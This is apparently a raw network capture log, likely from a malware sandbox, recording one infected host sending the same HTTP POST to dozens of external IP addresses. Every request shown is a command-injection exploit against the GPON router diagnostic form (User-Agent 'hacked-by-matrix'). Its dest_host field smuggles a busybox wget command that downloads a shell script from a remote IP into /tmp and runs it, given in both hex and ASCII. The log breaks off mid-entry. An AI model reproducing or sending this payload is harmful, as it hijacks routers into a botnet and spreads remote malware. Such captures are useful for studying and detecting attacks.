Mar 21, 2024 05:22:04.179627895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.14	50158	109.168.116.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179687023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.14	57898	118.203.232.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179714918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.14	35246	212.129.143.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179745913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.14	50772	178.98.226.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179774046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.14	50302	118.22.164.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179820061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.14	53334	212.239.199.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179876089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.14	41320	109.192.241.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179902077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.14	57034	109.101.28.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179902077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.14	52022	42.57.128.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179972887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.14	34598	210.73.167.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180011034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.14	50184	42.189.198.207	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180041075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.14	42620	210.111.236.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180058002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.14	40944	42.155.148.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180111885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.14	52064	118.45.86.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180128098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.14	52802	2.236.25.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180150032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.14	37820	210.208.193.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180212021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.14	41714	109.199.170.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180254936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.14	34856	109.210.149.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180294991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.14	49504	118.70.177.225	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180335045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.14	50176	212.98.45.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180372953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.14	40328	79.170.153.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180408955 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.14	44622	79.213.176.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180438995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.14	54928	5.163.199.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.180459976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.14	51634	2.126.177.40	443

Timestamp	Bytes transferred	Direction	Data
